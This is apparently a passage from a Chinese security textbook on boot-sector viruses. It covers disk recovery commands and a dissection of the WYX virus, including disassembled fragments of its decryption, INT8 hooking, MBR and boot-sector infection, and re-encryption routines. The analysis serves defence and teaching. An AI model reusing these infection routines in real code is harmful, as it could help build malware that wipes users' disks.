通常情況下引發(fā)病毒的情況是使用軟盤引導(dǎo)計(jì)算機(jī)啟動(dòng),因此病毒破壞時(shí)會(huì)將軟盤的引導(dǎo)扇區(qū)的內(nèi)容寫入硬盤的Boot Sector(0扇區(qū)),這會(huì)直接導(dǎo)致硬盤的分區(qū)表和引導(dǎo)記錄的損壞,從而使硬盤的全部分區(qū)和數(shù)據(jù)丟失。發(fā)作后的情況如圖4-15所示。

圖4-15 病毒感染發(fā)作示意圖
3.恢復(fù)過程
恢復(fù)過程如圖4-16所示。

圖4-16 手動(dòng)恢復(fù)示意圖
4.一些特殊情況
通常情況下,針對(duì)引導(dǎo)型的病毒進(jìn)行殺毒后計(jì)算機(jī)即可正常地引導(dǎo)和使用了,但有時(shí)會(huì)出現(xiàn)諸如無(wú)法正常啟動(dòng)或病毒無(wú)法清除的情況,現(xiàn)列舉如下(針對(duì)Windows 98系統(tǒng)):
(1)殺毒后計(jì)算機(jī)的系統(tǒng)依舊無(wú)法正常啟動(dòng)。
這種情況往往是由于引導(dǎo)記錄存在問題導(dǎo)致。可使用Windows 98的啟動(dòng)盤啟動(dòng)計(jì)算機(jī),通過使用如下命令恢復(fù)系統(tǒng)的啟動(dòng):
a:>sys a: c:
(2)殺毒時(shí)告知病毒已清除,但重新啟動(dòng)后進(jìn)行查毒處理依舊發(fā)現(xiàn)有病毒。
這種情況又分兩種情形:
● 用來啟動(dòng)計(jì)算機(jī)的殺毒軟件本身存在病毒。
處理方法:首先將殺毒軟盤中的病毒進(jìn)行處理后再殺毒。
● 硬盤可能遭到多種引導(dǎo)型病毒的混合攻擊,導(dǎo)致殺毒時(shí)按照某一引導(dǎo)型病毒處理后出現(xiàn)異常。
處理方法:若反復(fù)查殺的病毒存在的位置為“主引導(dǎo)”,則可使用Win 98的啟動(dòng)盤啟動(dòng)計(jì)算機(jī),通過使用如下命令安全恢復(fù)硬盤的引導(dǎo)記錄(MBR)。若同時(shí)還伴有“引導(dǎo)”位置也存在病毒反復(fù)無(wú)法清除的情況,則可配合sys a: c: 共同使用。
a:>fdisk /mbr
(3)某些品牌計(jì)算機(jī)的引導(dǎo)記錄總是存在引導(dǎo)型的病毒無(wú)法清除的情況。
這個(gè)問題是因某些品牌計(jì)算機(jī)的原始分區(qū)信息中存在非DOS分區(qū)導(dǎo)致。引導(dǎo)型病毒修改后并未修改正常的引導(dǎo)記錄,而是修改了非DOS分區(qū)的記錄(63扇區(qū)),從而導(dǎo)致病毒無(wú)法清除。
處理方法:可以通過直接磁盤編輯的方法將非DOS分區(qū)的應(yīng)為引導(dǎo)記錄的扇區(qū)中的數(shù)據(jù)清空,但這種方法有可能會(huì)導(dǎo)致非DOS分區(qū)中的部分信息丟失。在使用這種方法之前應(yīng)先向你的整機(jī)供應(yīng)商咨詢相關(guān)信息。
4.4.4 典型的引導(dǎo)型病毒——WYX病毒解析
WYX是一個(gè)引導(dǎo)區(qū)病毒,此病毒感染主引導(dǎo)區(qū)、硬盤引導(dǎo)區(qū)以及軟盤引導(dǎo)區(qū)。該病毒感染這些引導(dǎo)區(qū)時(shí)會(huì)對(duì)引導(dǎo)區(qū)的數(shù)據(jù)進(jìn)行備份(將原來引導(dǎo)區(qū)的數(shù)據(jù)寫入另外的扇區(qū)中),所以被WYX病毒感染的引導(dǎo)區(qū)是可以恢復(fù)的。但是它感染這三種引導(dǎo)區(qū)時(shí)對(duì)原來的引導(dǎo)區(qū)的備份方法均不相同,所以對(duì)各個(gè)引導(dǎo)區(qū)的恢復(fù)方法也不相同。
以下是WYX病毒的執(zhí)行流程:
當(dāng)系統(tǒng)以被WYX病毒感染的引導(dǎo)區(qū)進(jìn)行引導(dǎo)時(shí),引導(dǎo)扇區(qū)的數(shù)據(jù)被裝載到內(nèi)存0000:7C00起始的地址,并開始執(zhí)行引導(dǎo)扇區(qū)的指令。
病毒跳轉(zhuǎn)到病毒代碼的起始處,開始的這段代碼只是對(duì)偏移0x74開始的代碼進(jìn)行解密。
0000:7C5A push cs 0000:7C5B pop ds 0000:7C5C mov ah, 33h 0000:7C5E mov al, [7C78] 0000:7C61 mov bh, 45h 0000:7C63 mov si, 7C74h 0000:7C66 mov bl, 67h 0000:7C68 mov cx, 10Bh 0000:7C6B mov dh, 89h 0000:7C6D sub [si], al 0000:7C6F inc si 0000:7C70 mov dl, 0ABh 0000:7C72 loop 7C6D
解密完成后病毒先查看INT8(系統(tǒng)時(shí)鐘)的中斷向量是否被修改,如果沒有被修改,病毒則認(rèn)為自身沒有被執(zhí)行,然后病毒將INT8中斷向量的值保存到病毒入口偏移0x6的地方。如果INT8中斷向量被修改了,病毒則認(rèn)為自己已經(jīng)被執(zhí)行了并跳轉(zhuǎn)到INT8的代碼段中去執(zhí)行。
0000:7C7A mov ax, [0022] 0000:7C7D cmp ax, 0C000h 0000:7C80 jb 7CAF 0000:7C82 mov [7C08], ax 0000:7C85 mov ax, [0020] 0000:7C88 mov [7C06], ax
為了使自己在內(nèi)存中的代碼不被破壞,病毒修改了內(nèi)存的大小,將自己的代碼復(fù)制到內(nèi)存的高端,并將INT8中斷向量的值改為指向病毒入口偏移0x123的地址,使得調(diào)用INT8時(shí)病毒代碼得以執(zhí)行。
0000:7C92 mov ax, ds:413h;內(nèi)存的大小 0000:7C95 mov cx, 206h 0000:7C98 shl ax, cl 0000:7C9A mov es, ax 0000:7C9C xor di, di 0000:7C9E cld 0000:7C9F repe movsb 0000:7CA1 mov [0020h], 123h;修改INT8的中斷向量 0000:7CA7 mov [0022h], ax;修改INT8的中斷向量
在這些準(zhǔn)備工作做好后,病毒跳轉(zhuǎn)到其復(fù)制在內(nèi)存高端的代碼,執(zhí)行其感染其他引導(dǎo)區(qū)的操作。
WYX病毒感染引導(dǎo)區(qū)時(shí),它的另一部分代碼放在硬盤的另一個(gè)扇區(qū)中。對(duì)于不同的引導(dǎo)區(qū),病毒的另一部分代碼所保存的扇區(qū)各不相同。病毒將這部分代碼復(fù)制到病毒入口偏移0x200開始的地址。
FF80:00B5 push cs FF80:00B6 pop es FF80:00B7 mov bx, 200h FF80:00BA cmp [7DC0h], 1 FF80:00BF jz F8F0 FF80:00C1 cmp [7C15h], 0F8h FF80:00C6 jz F901
病毒感染的是軟盤的引導(dǎo)區(qū),它會(huì)計(jì)算根目錄文件分配表(FAT)的大小。如果文件分配表的大小加1大于一個(gè)磁道的大小,則將磁頭號(hào)加1,扇區(qū)號(hào)為根目錄文件分配表的大小減去一個(gè)磁道扇區(qū)的個(gè)數(shù),該扇區(qū)為病毒的另一部分代碼所在的扇區(qū),病毒將這部分代碼復(fù)制到病毒入口偏移0x200開始的地址。如果文件分配表的大小加1小于一個(gè)磁道的大小,則根目錄文件分配表大小加1的扇區(qū)為病毒的另一部分代碼所在的扇區(qū),病毒將這部分代碼復(fù)制到病毒入口偏移0x200開始的地址。
FF80:00C8 mov cl, 4 FF80:00CA mov ax, [7C11h] FF80:00CD shr ax, cl FF80:00CF mov cx, [7C16h] FF80:00D3 shl cx, 1 FF80:00D5 add ax, cx FF80:00D7 inc ax FF80:00D8 mov cx, [7C18h] FF80:00DC xor dx, dx FF80:00DE cmp ax, cx FF80:00E0 jbe F8E6 FF80:00E2 sub ax, cx FF80:00E4 inc dh FF80:00E6 mov cx, ax FF80:00E8 mov ax, 201h FF80:00EB int 13h FF80:00ED dec cx FF80:00EE jmp F912
如果病毒在主引導(dǎo)區(qū),則根據(jù)病毒入口偏移0x01C6h地址的數(shù)據(jù)讀取病毒的另一部分代碼:
FF80:00F0 mov cl, [7DC6h] FF80:00F4 mov dx, 80h FF80:00F7 mov ch, 0 FF80:00F9 mov ax, 201h FF80:00FC int 13h FF80:00FE dec cx FF80:00FF jmp F912
如果病毒在硬盤引導(dǎo)區(qū),則根據(jù)病毒入口偏移0x0018h地址的數(shù)據(jù)讀取病毒的另一部分代碼:
FF80:0101 mov cl, [7C18h] FF80:0105 mov dx, 80h FF80:0108 mov ch, 0 FF80:010A mov ax, 201h FF80:010D int 13h FF80:010F sub cx, 2 FF80:0112 mov al, 80h FF80:0114 call FA00
病毒在感染主引導(dǎo)區(qū)前,首先查看主引導(dǎo)區(qū)是否被感染。如果沒有被感染,則讀取引導(dǎo)區(qū)數(shù)據(jù)中偏移0x1C6的地址。這個(gè)地址的數(shù)據(jù)表示第一個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū)數(shù),通常為0x3F。然后,將原來的主引導(dǎo)區(qū)數(shù)據(jù)寫入第一個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū),即第0x3E扇區(qū),并將自己的另一部分代碼寫到0x3F扇區(qū)。如果主引導(dǎo)已經(jīng)被感染,則繼續(xù)執(zhí)行以感染其他的引導(dǎo)區(qū):
FF80:020D mov bx, 400h FF80:0210 mov dh, 0 FF80:0212 mov cx, 1 FF80:0215 mov ax, 201h FF80:0218 cmp dl, 80h FF80:021B jb FA7D FF80:021D int 13h FF80:021F cmp byte ptr [bx+5Ah], 0Eh;判斷主引導(dǎo)是否已感染 FF80:0223 jz FA5C FF80:0225 mov cl, [bx+1C6h];第一個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū) FF80:0229 dec cx FF80:022A mov ax, 301h FF80:022D int 13h FF80:022F inc cx FF80:0230 mov bh, 2 FF80:0232 mov ax, 301h FF80:0235 int 13h
在感染第一個(gè)主分區(qū)引導(dǎo)區(qū)之前也需要判斷該引導(dǎo)區(qū)是否被感染。如果沒有被感染,則讀取引導(dǎo)區(qū)數(shù)據(jù)中偏移0x18h的地址,這個(gè)地址的數(shù)據(jù)表示這個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū)數(shù),通常為0x3F。然后,將原來的引導(dǎo)區(qū)數(shù)據(jù)寫入這個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū),即第0x3D扇區(qū),并將自己的另一部分代碼寫到0x3F扇區(qū):
FF80:025C mov dh, 1 FF80:025E mov ax, 201h FF80:0261 int 13h FF80:0263 cmp byte ptr [bx+5Ah], 0Eh;判斷引導(dǎo)區(qū)是否已被感染 FF80:0267 jz FABF FF80:0269 mov cl, [bx+18h];第一個(gè)分區(qū)起點(diǎn)之前已用了的扇區(qū) FF80:026C sub cx, 2 FF80:026F mov dh, 0 FF80:0271 mov ax, 301h FF80:0274 int 13h
WYX對(duì)原來的引導(dǎo)區(qū)進(jìn)行完備份之后,就開始將自己的病毒代碼寫入引導(dǎo)扇區(qū)。在寫入引導(dǎo)扇區(qū)之前,病毒還需要將其病毒代碼中的部分內(nèi)容進(jìn)行加密,在加密完成后才將病毒代碼寫入引導(dǎo)扇區(qū):
FF80:02C7 mov word ptr [bx], 58Ebh;設(shè)置引導(dǎo)區(qū)的第一條指令 FF80:02CB mov si, 5Ah;加密的起始地址 FF80:02CE mov di, 45Ah FF80:02D1 mov cx, 125h FF80:02D4 cld FF80:02D5 repe movsb FF80:02D7 push ds FF80:02D8 mov ds, cx FF80:02DA mov al, [046Ch] FF80:02DD pop ds FF80:02DE or al, 0Aah;計(jì)算密鑰 FF80:02E0 mov si, 474h FF80:02E3 mov cx, 10Bh FF80:02E6 add [si], al;加密循環(huán)的起始 FF80:02E8 inc si FF80:02E9 loop FAE6 FF80:02EB mov si, 45Dh FF80:02EE mov cl, 5 FF80:02F0 inc byte ptr [si] FF80:02F2 add si, 5 FF80:02F5 loop FAF0 FF80:02F7 inc cx FF80:02F8 mov ax, 301h FF80:02FB int 13h
病毒對(duì)用戶電腦上所有的引導(dǎo)區(qū)都感染完之后,將原來的引導(dǎo)區(qū)的數(shù)據(jù)復(fù)制到內(nèi)存0000:7C00的地址,并跳轉(zhuǎn)到0000:7C00執(zhí)行原來的引導(dǎo)區(qū)代碼。
4.4.5 防范引導(dǎo)區(qū)病毒的安全建議
為了防止感染引導(dǎo)區(qū)病毒,我們給出以下安全建議:
(1)盡量避免用軟盤保存和傳遞資料。在獲得由其他計(jì)算機(jī)傳遞的文件時(shí),應(yīng)先對(duì)軟盤中的文件進(jìn)行查毒。
(2)軟盤用完后應(yīng)立即從軟驅(qū)中取出。
(3)避免在軟驅(qū)中存有軟盤的情況下開機(jī)或重新啟動(dòng)操作系統(tǒng)。
- RESTful Java Web Services Security
- Mobile Forensics Cookbook
- Practical Network Scanning
- 零信任網(wǎng)絡(luò):在不可信網(wǎng)絡(luò)中構(gòu)建安全系統(tǒng)
- Enterprise Cloud Security and Governance
- Penetration Testing with Perl
- 安全實(shí)戰(zhàn)之滲透測(cè)試
- 數(shù)字化轉(zhuǎn)型浪潮下的數(shù)據(jù)安全最佳實(shí)踐指南
- Testing and Securing Android Studio Applications
- 可信計(jì)算3.0工程初步(第二版)
- 從0到1:CTFer成長(zhǎng)之路
- 信息安全案例教程:技術(shù)與應(yīng)用(第2版)
- 互聯(lián)網(wǎng)企業(yè)安全高級(jí)指南
- 黑客攻防從入門到精通
- CTF特訓(xùn)營(yíng):技術(shù)詳解、解題方法與競(jìng)賽技巧